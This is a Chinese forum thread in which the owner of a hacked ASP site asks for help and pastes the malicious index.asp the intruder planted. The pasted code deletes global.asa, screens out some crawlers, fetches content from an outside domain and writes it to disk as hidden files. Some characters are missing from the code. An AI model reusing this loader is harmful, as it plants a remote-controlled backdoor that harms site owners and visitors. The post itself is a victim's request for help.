大神何在，网站被入侵了。请解决办法

roylu

一个asp的网站  根目录下多了各种两个字母的文件夹 然后里面在分了几个类别。最后就是一个index.asp  里面的代码如下
<%:Set f=Server.CreateObject("scripting.filesystemobject"):h="\\.\"&Server.MapPath("\global.asa"):IF f.FileExists(h) THEN:f.GetFile(h).attributes=0:f.DeleteFile(h):END IF:u=request.servervariables("http_user_agent"):Noagent=split("AhrefsBot,MJ12bot,EasouSpider,YandexBot,YisouSpider,Exabot",","):For agenti=lbound(Noagent) to ubound(Noagent):If instr(u,Noagent(agenti))>0 then:response.end():exit for:end if:Next:p=request.servervariables("ath_Translated"):cc=GetHtml("http://c.lt-zx.com/?HOST="&request.servervariables("HTTP_HOST")&"&UA="&u&"&p="&p):IF INSTR(cc,"lt-zx.com")>0 THEN:w(trim(cc)):server.transfer("index.asp"):END IF:function w(qq):set s=server.CreateObject("scripting.filesystemobject"):set z=s.CreateTextFile(p,true):z.write(qq):z.close:s.GetFile(p).attributes=39:end function:Function GetHtml(url):Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP"):ObjXMLHTTP.Open "GET",url,False:ObjXMLHTTP.setRequestHeader "User-Agent","KS":ObjXMLHTTP.send:GetHtml=ObjXMLHTTP.responseBody:Set ObjXMLHTTP=Nothing:set objStream=Server.CreateObject("Adodb.Stream")bjStream.Type=1bjStream.Mode =3bjStream.OpenbjStream.Write GetHtmlbjStream.Position=0bjStream.Type=2bjStream.Charset="gb2312":GetHtml=objStream.ReadTextbjStream.Close:End Function:%>

看样子铁定是被爆菊了，数据库文件没动  但是后台已经进不去了

roylu

奇怪了   连幸灾乐祸的人都看不到了。。

_jerryjee

ASP已经OUT了，我可以给你提供￥1的国外空间给你随便用。